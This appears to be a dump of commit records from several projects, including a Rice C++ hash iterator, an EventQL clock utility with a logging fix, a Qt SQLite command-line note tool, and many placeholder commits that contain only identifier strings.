Qnil)\n{\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ntemplate<typename Iterator_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T>::\nIterator(Iterator_T const & iterator)\n : hash_(iterator.hash_.value())\n , tbl_(iterator.tbl_)\n , bin_(iterator.bin_)\n , ptr_(iterator.ptr_)\n , tmp_(iterator.hash_, Qnil)\n{\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T> &\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator=(Iterator const & iterator)\n{\n Iterator tmp(iterator);\n\n this->swap(tmp);\n\n return *this;\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T> &\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator++()\n{\n \/\/ Go to the next element in the bin; this will be a no-op if we were\n \/\/ called from the constructor, because ptr_ will be 0 (and if its\n \/\/ not, this function won't get called).\n if(ptr_)\n {\n ptr_ = ptr_->next;\n }\n\n \/\/ If we've reached the end of the bin, then try the next bin until\n \/\/ we have run out of bins\n while(ptr_ == 0)\n {\n ++bin_;\n if(bin_ == tbl_->num_bins)\n {\n \/\/ At the end..\n return *this;\n }\n ptr_ = tbl_->bins[bin_];\n }\n\n return *this;\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Rice::Hash::Iterator<Hash_Ref_T, Value_T>\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator++(int)\n{\n Iterator copy(*this);\n ++(*this);\n return copy;\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Value_T\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator*()\n{\n return Value_T(hash_, ptr_->key);\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline Value_T *\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator->()\n{\n Entry tmp(hash_, ptr_->key);\n this->tmp_.swap(tmp);\n return &tmp_;\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline bool Rice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator==(Iterator const & rhs) const\n{\n return hash_.value() == rhs.hash_.value()\n && tbl_ == rhs.tbl_\n && bin_ == rhs.bin_\n && ptr_ == rhs.ptr_;\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline bool Rice::Hash::Iterator<Hash_Ref_T, Value_T>::\noperator!=(Iterator const & rhs) const\n{\n return !(*this == rhs);\n}\n\ntemplate<typename Hash_Ref_T, typename Value_T>\ninline void\nRice::Hash::Iterator<Hash_Ref_T, Value_T>::\nswap(Iterator& iterator)\n{\n using namespace std;\n\n hash_.swap(iterator.hash_);\n swap(tbl_, iterator.tbl_);\n swap(bin_, iterator.bin_);\n swap(ptr_, iterator.ptr_);\n}\n\ninline Rice::Hash::iterator Rice::Hash::\nbegin()\n{\n st_table * tbl(RHASH_TBL(value()));\n return iterator(*this, 0, tbl->bins[0]);\n}\n\ninline Rice::Hash::const_iterator Rice::Hash::\nbegin() const\n{\n st_table * tbl(RHASH_TBL(value()));\n return const_iterator(*this, 0, tbl->bins[0]);\n}\n\ninline Rice::Hash::iterator Rice::Hash::\nend()\n{\n st_table * tbl(RHASH_TBL(value()));\n return iterator(*this, tbl->num_bins, 0);\n}\n\ninline Rice::Hash::const_iterator Rice::Hash::\nend() const\n{\n st_table * tbl(RHASH_TBL(value()));\n return const_iterator(*this, tbl->num_bins, 0);\n}\n\ninline bool Rice::\noperator<(\n Hash::Entry const & lhs, Hash::Entry const & rhs)\n{\n Object lhs_key(lhs.key);\n Object rhs_key(rhs.key);\n if(lhs_key < rhs_key)\n {\n return true;\n }\n else if(lhs_key > rhs_key)\n {\n return false;\n }\n else if(Object(lhs.value.value()) < Object(rhs.value.value()))\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n\n#endif \/\/ Rice__Hash__ipp_\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2016 DeepCortex GmbH <legal@eventql.io>\n * Authors:\n * - Paul Asmuth <paul@eventql.io>\n *\n * This program is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License (\"the license\") as\n * published by the Free Software Foundation, either version 3 of the License,\n * or any later version.\n *\n * In accordance with Section 7(e) of the license, the licensing of the Program\n * under the license does not imply a trademark license. Therefore any rights,\n * title and interest in our trademarks remain entirely with us.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the license for more details.\n *\n * You can be released from the requirements of the license by purchasing a\n * commercial license. Buying such a license is mandatory as soon as you develop\n * commercial activities involving this program without disclosing the source\n * code of your own applications\n *\/\n#include <string>\n#include <ctime>\n#include <sys\/time.h>\n#include <sys\/types.h>\n#ifdef __MACH__\n#include <mach\/clock.h>\n#include <mach\/mach.h>\n#endif\n#include \"eventql\/util\/wallclock.h\"\n#include \"eventql\/util\/logging.h\"\n\nUnixTime WallClock::now() {\n return UnixTime(WallClock::getUnixMicros());\n}\n\nuint64_t WallClock::unixSeconds() {\n struct timeval tv;\n\n gettimeofday(&tv, NULL);\n return tv.tv_sec;\n}\n\nuint64_t WallClock::getUnixMillis() {\n return unixMillis();\n}\n\nuint64_t WallClock::unixMillis() {\n struct timeval tv;\n\n gettimeofday(&tv, NULL);\n return tv.tv_sec * 1000llu + tv.tv_usec \/ 1000llu;\n}\n\nuint64_t WallClock::getUnixMicros() {\n return unixMicros();\n}\n\nuint64_t WallClock::unixMicros() {\n struct timeval tv;\n\n gettimeofday(&tv, NULL);\n return tv.tv_sec * 1000000llu + tv.tv_usec;\n}\n\nuint64_t MonotonicClock::now() {\n#ifdef __MACH__\n clock_serv_t cclock;\n mach_timespec_t mts;\n host_get_clock_service(mach_host_self(), SYSTEM_CLOCK, &cclock);\n clock_get_time(cclock, &mts);\n mach_port_deallocate(mach_task_self(), cclock);\n return std::uint64_t(mts.tv_sec) * 1000000 + mts.tv_nsec \/ 1000;\n#else\n timespec ts;\n if (clock_gettime(CLOCK_MONOTONIC, &ts) != 0) {\n logFatal(\"clock_gettime(CLOCK_MONOTONIC) failed\");\n abort();\n } else {\n return std::uint64_t(ts.tv_sec) * 1000000 + ts.tv_nsec \/ 1000;\n }\n#endif\n}\n\n\n<commit_msg>fix invalid logFatal call<commit_after>\/**\n * Copyright (c) 2016 DeepCortex GmbH <legal@eventql.io>\n * Authors:\n * - Paul Asmuth <paul@eventql.io>\n *\n * This program is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License (\"the license\") as\n * published by the Free Software Foundation, either version 3 of the License,\n * or any later version.\n *\n * In accordance with Section 7(e) of the license, the licensing of the Program\n * under the license does not imply a trademark license. Therefore any rights,\n * title and interest in our trademarks remain entirely with us.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the license for more details.\n *\n * You can be released from the requirements of the license by purchasing a\n * commercial license. Buying such a license is mandatory as soon as you develop\n * commercial activities involving this program without disclosing the source\n * code of your own applications\n *\/\n#include <string>\n#include <ctime>\n#include <sys\/time.h>\n#include <sys\/types.h>\n#ifdef __MACH__\n#include <mach\/clock.h>\n#include <mach\/mach.h>\n#endif\n#include \"eventql\/util\/wallclock.h\"\n#include \"eventql\/util\/logging.h\"\n\nUnixTime WallClock::now() {\n return UnixTime(WallClock::getUnixMicros());\n}\n\nuint64_t WallClock::unixSeconds() {\n struct timeval tv;\n\n gettimeofday(&tv, NULL);\n return tv.tv_sec;\n}\n\nuint64_t WallClock::getUnixMillis() {\n return unixMillis();\n}\n\nuint64_t WallClock::unixMillis() {\n struct timeval tv;\n\n gettimeofday(&tv, NULL);\n return tv.tv_sec * 1000llu + tv.tv_usec \/ 1000llu;\n}\n\nuint64_t WallClock::getUnixMicros() {\n return unixMicros();\n}\n\nuint64_t WallClock::unixMicros() {\n struct timeval tv;\n\n gettimeofday(&tv, NULL);\n return tv.tv_sec * 1000000llu + tv.tv_usec;\n}\n\nuint64_t MonotonicClock::now() {\n#ifdef __MACH__\n clock_serv_t cclock;\n mach_timespec_t mts;\n host_get_clock_service(mach_host_self(), SYSTEM_CLOCK, &cclock);\n clock_get_time(cclock, &mts);\n mach_port_deallocate(mach_task_self(), cclock);\n return std::uint64_t(mts.tv_sec) * 1000000 + mts.tv_nsec \/ 1000;\n#else\n timespec ts;\n if (clock_gettime(CLOCK_MONOTONIC, &ts) != 0) {\n logFatal(\"evqld\", \"clock_gettime(CLOCK_MONOTONIC) failed\");\n abort();\n } else {\n return std::uint64_t(ts.tv_sec) * 1000000 + ts.tv_nsec \/ 1000;\n }\n#endif\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>409ad740-ad5a-11e7-8fcd-ac87a332f658<commit_msg>My Life for Auir<commit_after>410abed1-ad5a-11e7-b246-ac87a332f658<|endoftext|>"} {"text":"<commit_before>39e4ef05-2e4f-11e5-89bc-28cfe91dbc4b<commit_msg>39ee201c-2e4f-11e5-9a4e-28cfe91dbc4b<commit_after>39ee201c-2e4f-11e5-9a4e-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>db9e9c9e-2e4e-11e5-b7c6-28cfe91dbc4b<commit_msg>dba54499-2e4e-11e5-83b5-28cfe91dbc4b<commit_after>dba54499-2e4e-11e5-83b5-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>5bf673ff-2d16-11e5-af21-0401358ea401<commit_msg>5bf67400-2d16-11e5-af21-0401358ea401<commit_after>5bf67400-2d16-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>a336a06c-35ca-11e5-8079-6c40088e03e4<commit_msg>a33fc9f8-35ca-11e5-be28-6c40088e03e4<commit_after>a33fc9f8-35ca-11e5-be28-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>471c730c-2748-11e6-9bba-e0f84713e7b8<commit_msg>lets try again<commit_after>47275075-2748-11e6-8282-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>e6bd4e78-2747-11e6-92d9-e0f84713e7b8<commit_msg>Deal with it<commit_after>e6cf1da8-2747-11e6-be1c-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>6fb82b6e-2d3e-11e5-95ed-c82a142b6f9b<commit_msg>702ea53a-2d3e-11e5-a40e-c82a142b6f9b<commit_after>702ea53a-2d3e-11e5-a40e-c82a142b6f9b<|endoftext|>"} {"text":"<commit_before>bf9cafc0-2d3d-11e5-a8dc-c82a142b6f9b<commit_msg>bffc1594-2d3d-11e5-a35a-c82a142b6f9b<commit_after>bffc1594-2d3d-11e5-a35a-c82a142b6f9b<|endoftext|>"} {"text":"<commit_before>d190a9a8-35ca-11e5-a3dd-6c40088e03e4<commit_msg>d1975988-35ca-11e5-b1ac-6c40088e03e4<commit_after>d1975988-35ca-11e5-b1ac-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>b2f04480-ad5b-11e7-baf7-ac87a332f658<commit_msg>NO CHANGES<commit_after>b36db866-ad5b-11e7-a2ed-ac87a332f658<|endoftext|>"} {"text":"<commit_before>7c58de68-2e4f-11e5-9933-28cfe91dbc4b<commit_msg>7c61c5fa-2e4f-11e5-9181-28cfe91dbc4b<commit_after>7c61c5fa-2e4f-11e5-9181-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>dd51cb05-2e4e-11e5-89f8-28cfe91dbc4b<commit_msg>dd596f63-2e4e-11e5-9cbf-28cfe91dbc4b<commit_after>dd596f63-2e4e-11e5-9cbf-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>c3885c11-327f-11e5-9068-9cf387a8033e<commit_msg>c38eb0e6-327f-11e5-bcf8-9cf387a8033e<commit_after>c38eb0e6-327f-11e5-bcf8-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>a4d5fb63-327f-11e5-b897-9cf387a8033e<commit_msg>a4dc183a-327f-11e5-8fdc-9cf387a8033e<commit_after>a4dc183a-327f-11e5-8fdc-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>e4123eb8-2747-11e6-9413-e0f84713e7b8<commit_msg>My Life for Auir<commit_after>e421e997-2747-11e6-944a-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>76155412-2e3a-11e5-8f08-c03896053bdd<commit_msg>762471fe-2e3a-11e5-92a1-c03896053bdd<commit_after>762471fe-2e3a-11e5-92a1-c03896053bdd<|endoftext|>"} {"text":"<commit_before>17ea6191-2e4f-11e5-b43b-28cfe91dbc4b<commit_msg>17f132b0-2e4f-11e5-a5e7-28cfe91dbc4b<commit_after>17f132b0-2e4f-11e5-a5e7-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>ddb7ab18-585a-11e5-9295-6c40088e03e4<commit_msg>ddbe452c-585a-11e5-90d1-6c40088e03e4<commit_after>ddbe452c-585a-11e5-90d1-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>c8e407b3-2d3c-11e5-a246-c82a142b6f9b<commit_msg>c9480c63-2d3c-11e5-a76f-c82a142b6f9b<commit_after>c9480c63-2d3c-11e5-a76f-c82a142b6f9b<|endoftext|>"} {"text":"<commit_before>af0649bd-ad5b-11e7-bb36-ac87a332f658<commit_msg>Stuff changed<commit_after>af8a9fdc-ad5b-11e7-a7fb-ac87a332f658<|endoftext|>"} {"text":"<commit_before>641506fa-2749-11e6-acb3-e0f84713e7b8<commit_msg>testing<commit_after>6426442e-2749-11e6-943f-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>5aee97fa-2e3a-11e5-a24c-c03896053bdd<commit_msg>5afe5250-2e3a-11e5-b00c-c03896053bdd<commit_after>5afe5250-2e3a-11e5-b00c-c03896053bdd<|endoftext|>"} {"text":"<commit_before>d622f6a3-327f-11e5-a888-9cf387a8033e<commit_msg>d629739e-327f-11e5-881a-9cf387a8033e<commit_after>d629739e-327f-11e5-881a-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n **\n ** Copyright (C) 2012 Wapp6\n ** All rights reserved.\n ** Contact: Wapp6 (contact@wapp6.com)\n **\n ** This file is part of OPR6Desktop application.\n **\n **\n ** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n ** \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n ** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n ** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n ** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n ** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n ** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n ** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n ** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n ** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n ** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\"\n ** $QT_END_LICENSE$\n **\n ****************************************************************************\/\n#include <QCoreApplication>\n#include <QCommandLineOption>\n#include <QCommandLineParser>\n#include <QStandardPaths>\n#include <QDir>\n#include <QSqlDatabase>\n#include <QSqlQuery>\n#include <QSqlRecord>\n#include <QSqlError>\n#include <QDebug>\n#include <QTextStream>\n#include <QDateTime>\n#include <iostream>\n\nint main(int argc, char *argv[])\n{\n QCoreApplication app(argc, argv);\n QString noteTable = \"note\";\n QCoreApplication::setApplicationName(\"clignote\");\n QCoreApplication::setApplicationVersion(\"1.0\");\n\n QString storedNotes = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation);\n if(!QDir(storedNotes).exists() && !QDir(storedNotes).mkpath(storedNotes)) {\n std::cout << \"unable to create directory, exiting...\";\n exit(-1);\n }\n QSqlDatabase db = QSqlDatabase::addDatabase(\"QSQLITE\");\n QSqlQuery query;\n QDir storage(storedNotes);\n db.setDatabaseName(storage.absoluteFilePath(\"notes.db\"));\n if(!db.open()) {\n qDebug() << \"unable to open db\";\n std::cout << db.lastError().text().toStdString();\n exit(-2);\n } else {\n query = QSqlQuery(db);\n if(!db.tables().contains(noteTable)) {\n qDebug() << \"table note is not present, creating\";\n if(!query.exec(QString(\"CREATE TABLE %1(id INTEGER PRIMARY KEY, created_at DATETIME, text TEXT);\").arg(noteTable))) {\n qDebug() << query.lastQuery() << query.lastError() << db.lastError();\n std::cout << \"error creating database\";\n exit(-1);\n }\n }\n }\n QCommandLineParser parser;\n parser.setApplicationDescription(\"Note helper\");\n parser.addHelpOption();\n parser.addVersionOption();\n parser.addPositionalArgument(\"command\", QCoreApplication::translate(\"main\", \"what to do (list, add, delete)\"));\n parser.addPositionalArgument(\"content\", QCoreApplication::translate(\"main\", \"note id or text\"));\n\n \/\/ Process the actual command line arguments given by the user\n parser.process(app);\n\n const QStringList args = parser.positionalArguments();\n if(!args.length()) {\n std::cout << \"argument required, use --help\";\n exit(0);\n }\n \/\/ source is args.at(0), destination is args.at(1)\n\n if(args.at(0) == \"list\") {\n if(query.exec(QString(\"select * from %1\").arg(noteTable))) {;\n if(query.first()) {\n QSqlRecord record;\n std::cout << \" id | creation date | note \\n\";\n std::cout << QString(\"\").fill('-',80).toStdString() << \"\\n\";\n do {\n record = query.record();\n std::cout << QString().fill(' ', 6-record.value(0).toString().length()).toStdString()\n << record.value(0).toString().toStdString()\n << \" | \"\n << record.value(1).toDateTime().toString(Qt::ISODate).toStdString()\n << \" | \"\n << record.value(2).toString().toStdString()\n << \"\\n\";\n\n } while(query.next());\n } else {\n std::cout << QCoreApplication::translate(\"main\", \"No note available\\n\").toStdString();\n }\n } else {\n std::cout << \"error querying database\\n\";\n qDebug() << query.lastQuery() << query.lastError() << db.lastError();\n }\n exit(0);\n }\n if(args.at(0) == \"add\") {\n if(args.length() < 2) {\n std::cout << \"no note to add...\";\n }\n else {\n qDebug() << args.mid(1).join(\" \");\n QString text = args.mid(1).join(\" \");\n query.prepare(QString(\"insert into %1 values(NULL, :currentDateTime, :text)\").arg(noteTable));\n query.bindValue(\":currentDateTime\", QDateTime::currentDateTime());\n query.bindValue(\":text\", text);\n if(query.exec()) {\n std::cout << \"note added\\n\";\n } else {\n std::cout << \"error saving note to database\\n\";\n qDebug() << query.lastQuery() << query.lastError() << db.lastError();\n }\n }\n exit(0);\n }\n\n if(args.at(0) == \"delete\") {\n if(args.length() < 2) {\n std::cout << \"no note to delete...\\n\";\n }\n else {\n qInfo() << args.at(1);\n QString intString = args.at(1);\n int noteId = QVariant(intString).toInt();\n if(noteId) {\n query.prepare(QString(\"delete from %1 where id=:id\").arg(noteTable));\n query.bindValue(\":id\", noteId);\n if(query.exec()) {\n std::cout << \"note deleted\\n\";\n } else {\n qDebug() << query.lastQuery() << query.lastError() << db.lastError();\n std::cout << \"error deleting note from database\\n\";\n }\n } else {\n std::cout << \"invalid note identifier\\n\";\n }\n }\n exit(0);\n }\n\n return app.exec();\n}\n<commit_msg>remove licence header<commit_after>#include <QCoreApplication>\n#include <QCommandLineOption>\n#include <QCommandLineParser>\n#include <QStandardPaths>\n#include <QDir>\n#include <QSqlDatabase>\n#include <QSqlQuery>\n#include <QSqlRecord>\n#include <QSqlError>\n#include <QDebug>\n#include <QTextStream>\n#include <QDateTime>\n#include <iostream>\n\nint main(int argc, char *argv[])\n{\n QCoreApplication app(argc, argv);\n QString noteTable = \"note\";\n QCoreApplication::setApplicationName(\"clignote\");\n QCoreApplication::setApplicationVersion(\"1.0\");\n\n QString storedNotes = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation);\n if(!QDir(storedNotes).exists() && !QDir(storedNotes).mkpath(storedNotes)) {\n std::cout << \"unable to create directory, exiting...\";\n exit(-1);\n }\n QSqlDatabase db = QSqlDatabase::addDatabase(\"QSQLITE\");\n QSqlQuery query;\n QDir storage(storedNotes);\n db.setDatabaseName(storage.absoluteFilePath(\"notes.db\"));\n if(!db.open()) {\n qDebug() << \"unable to open db\";\n std::cout << db.lastError().text().toStdString();\n exit(-2);\n } else {\n query = QSqlQuery(db);\n if(!db.tables().contains(noteTable)) {\n qDebug() << \"table note is not present, creating\";\n if(!query.exec(QString(\"CREATE TABLE %1(id INTEGER PRIMARY KEY, created_at DATETIME, text TEXT);\").arg(noteTable))) {\n qDebug() << query.lastQuery() << query.lastError() << db.lastError();\n std::cout << \"error creating database\";\n exit(-1);\n }\n }\n }\n QCommandLineParser parser;\n parser.setApplicationDescription(\"Note helper\");\n parser.addHelpOption();\n parser.addVersionOption();\n parser.addPositionalArgument(\"command\", QCoreApplication::translate(\"main\", \"what to do (list, add, delete)\"));\n parser.addPositionalArgument(\"content\", QCoreApplication::translate(\"main\", \"note id or text\"));\n\n \/\/ Process the actual command line arguments given by the user\n parser.process(app);\n\n const QStringList args = parser.positionalArguments();\n if(!args.length()) {\n std::cout << \"argument required, use --help\";\n exit(0);\n }\n \/\/ source is args.at(0), destination is args.at(1)\n\n if(args.at(0) == \"list\") {\n if(query.exec(QString(\"select * from %1\").arg(noteTable))) {;\n if(query.first()) {\n QSqlRecord record;\n std::cout << \" id | creation date | note \\n\";\n std::cout << QString(\"\").fill('-',80).toStdString() << \"\\n\";\n do {\n record = query.record();\n std::cout << QString().fill(' ', 6-record.value(0).toString().length()).toStdString()\n << record.value(0).toString().toStdString()\n << \" | \"\n << record.value(1).toDateTime().toString(Qt::ISODate).toStdString()\n << \" | \"\n << record.value(2).toString().toStdString()\n << \"\\n\";\n\n } while(query.next());\n } else {\n std::cout << QCoreApplication::translate(\"main\", \"No note available\\n\").toStdString();\n }\n } else {\n std::cout << \"error querying database\\n\";\n qDebug() << query.lastQuery() << query.lastError() << db.lastError();\n }\n exit(0);\n }\n if(args.at(0) == \"add\") {\n if(args.length() < 2) {\n std::cout << \"no note to add...\";\n }\n else {\n qDebug() << args.mid(1).join(\" \");\n QString text = args.mid(1).join(\" \");\n query.prepare(QString(\"insert into %1 values(NULL, :currentDateTime, :text)\").arg(noteTable));\n query.bindValue(\":currentDateTime\", QDateTime::currentDateTime());\n query.bindValue(\":text\", text);\n if(query.exec()) {\n std::cout << \"note added\\n\";\n } else {\n std::cout << \"error saving note to database\\n\";\n qDebug() << query.lastQuery() << query.lastError() << db.lastError();\n }\n }\n exit(0);\n }\n\n if(args.at(0) == \"delete\") {\n if(args.length() < 2) {\n std::cout << \"no note to delete...\\n\";\n }\n else {\n qInfo() << args.at(1);\n QString intString = args.at(1);\n int noteId = QVariant(intString).toInt();\n if(noteId) {\n query.prepare(QString(\"delete from %1 where id=:id\").arg(noteTable));\n query.bindValue(\":id\", noteId);\n if(query.exec()) {\n std::cout << \"note deleted\\n\";\n } else {\n qDebug() << query.lastQuery() << query.lastError() << db.lastError();\n std::cout << \"error deleting note from database\\n\";\n }\n } else {\n std::cout << \"invalid note identifier\\n\";\n }\n }\n exit(0);\n }\n\n return app.exec();\n}\n<|endoftext|>"} {"text":"<commit_before>2dc2c214-2748-11e6-be5b-e0f84713e7b8<commit_msg>almost working<commit_after>2dd2bb4c-2748-11e6-800c-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>5e58949e-2d16-11e5-af21-0401358ea401<commit_msg>5e58949f-2d16-11e5-af21-0401358ea401<commit_after>5e58949f-2d16-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>6de91794-2fa5-11e5-83e1-00012e3d3f12<commit_msg>6deaec52-2fa5-11e5-a6f6-00012e3d3f12<commit_after>6deaec52-2fa5-11e5-a6f6-00012e3d3f12<|endoftext|>"} {"text":"<commit_before>97fce38c-35ca-11e5-ae63-6c40088e03e4<commit_msg>9804f37e-35ca-11e5-bbc3-6c40088e03e4<commit_after>9804f37e-35ca-11e5-bbc3-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>1f268d4c-2e3a-11e5-980d-c03896053bdd<commit_msg>1f38ba9c-2e3a-11e5-864c-c03896053bdd<commit_after>1f38ba9c-2e3a-11e5-864c-c03896053bdd<|endoftext|>"} {"text":"<commit_before>229e99dc-2e4f-11e5-b9ad-28cfe91dbc4b<commit_msg>22a839d7-2e4f-11e5-86ea-28cfe91dbc4b<commit_after>22a839d7-2e4f-11e5-86ea-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>0116afa1-2748-11e6-8c25-e0f84713e7b8<commit_msg>Deal with it<commit_after>013296f3-2748-11e6-ae91-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>4f64ef00-2748-11e6-8afc-e0f84713e7b8<commit_msg>That didn't fix it<commit_after>4f778847-2748-11e6-9f44-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>d55f7007-327f-11e5-80fc-9cf387a8033e<commit_msg>d5673eab-327f-11e5-98b6-9cf387a8033e<commit_after>d5673eab-327f-11e5-98b6-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>69c02e64-2fa5-11e5-8edc-00012e3d3f12<commit_msg>69c1dc14-2fa5-11e5-99f2-00012e3d3f12<commit_after>69c1dc14-2fa5-11e5-99f2-00012e3d3f12<|endoftext|>"} {"text":"<commit_before>9699693d-327f-11e5-b824-9cf387a8033e<commit_msg>96a0caa6-327f-11e5-90e3-9cf387a8033e<commit_after>96a0caa6-327f-11e5-90e3-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>9101ae2d-2d14-11e5-af21-0401358ea401<commit_msg>9101ae2e-2d14-11e5-af21-0401358ea401<commit_after>9101ae2e-2d14-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>2e23a76e-2e4f-11e5-8654-28cfe91dbc4b<commit_msg>2e2ab1fa-2e4f-11e5-9257-28cfe91dbc4b<commit_after>2e2ab1fa-2e4f-11e5-9257-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>83000ea8-2d15-11e5-af21-0401358ea401<commit_msg>83000ea9-2d15-11e5-af21-0401358ea401<commit_after>83000ea9-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>aa84c266-4b02-11e5-8914-28cfe9171a43<commit_msg>master branch<commit_after>aa91f987-4b02-11e5-a5e4-28cfe9171a43<|endoftext|>"} {"text":"<commit_before>51e2dccc-ad59-11e7-916b-ac87a332f658<commit_msg>Hey we can now do a thing<commit_after>528d44a8-ad59-11e7-a450-ac87a332f658<|endoftext|>"} {"text":"<commit_before>a21d0638-2e4f-11e5-8f55-28cfe91dbc4b<commit_msg>a223bd73-2e4f-11e5-b205-28cfe91dbc4b<commit_after>a223bd73-2e4f-11e5-b205-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>67c74494-2fa5-11e5-bd2e-00012e3d3f12<commit_msg>67c94064-2fa5-11e5-9b2b-00012e3d3f12<commit_after>67c94064-2fa5-11e5-9b2b-00012e3d3f12<|endoftext|>"} {"text":"<commit_before>7293325e-2e4f-11e5-83b3-28cfe91dbc4b<commit_msg>729beb7d-2e4f-11e5-90f4-28cfe91dbc4b<commit_after>729beb7d-2e4f-11e5-90f4-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>abd49845-327f-11e5-a1e6-9cf387a8033e<commit_msg>abda5d19-327f-11e5-ad3c-9cf387a8033e<commit_after>abda5d19-327f-11e5-ad3c-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>5ae7ec32-2d16-11e5-af21-0401358ea401<commit_msg>5ae7ec33-2d16-11e5-af21-0401358ea401<commit_after>5ae7ec33-2d16-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>c88ac048-35ca-11e5-8022-6c40088e03e4<commit_msg>c89165f4-35ca-11e5-974b-6c40088e03e4<commit_after>c89165f4-35ca-11e5-974b-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>95d55c38-ad5a-11e7-914b-ac87a332f658<commit_msg>Long commit messages are not required<commit_after>966df27a-ad5a-11e7-bcbc-ac87a332f658<|endoftext|>"} {"text":"<commit_before>e6d0d308-585a-11e5-babb-6c40088e03e4<commit_msg>e6d80600-585a-11e5-a33b-6c40088e03e4<commit_after>e6d80600-585a-11e5-a33b-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>3e415728-5216-11e5-89d9-6c40088e03e4<commit_msg>3e482848-5216-11e5-bf8a-6c40088e03e4<commit_after>3e482848-5216-11e5-bf8a-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>053b4b4c-2e4f-11e5-a7cc-28cfe91dbc4b<commit_msg>0544f070-2e4f-11e5-902c-28cfe91dbc4b<commit_after>0544f070-2e4f-11e5-902c-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>94c5472b-2e4f-11e5-9ca0-28cfe91dbc4b<commit_msg>94cd7226-2e4f-11e5-9088-28cfe91dbc4b<commit_after>94cd7226-2e4f-11e5-9088-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>c9d24fee-327f-11e5-ab8a-9cf387a8033e<commit_msg>c9d874bd-327f-11e5-85bf-9cf387a8033e<commit_after>c9d874bd-327f-11e5-85bf-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>2caffbf6-2e3a-11e5-8a79-c03896053bdd<commit_msg>2cbe5676-2e3a-11e5-9127-c03896053bdd<commit_after>2cbe5676-2e3a-11e5-9127-c03896053bdd<|endoftext|>"} 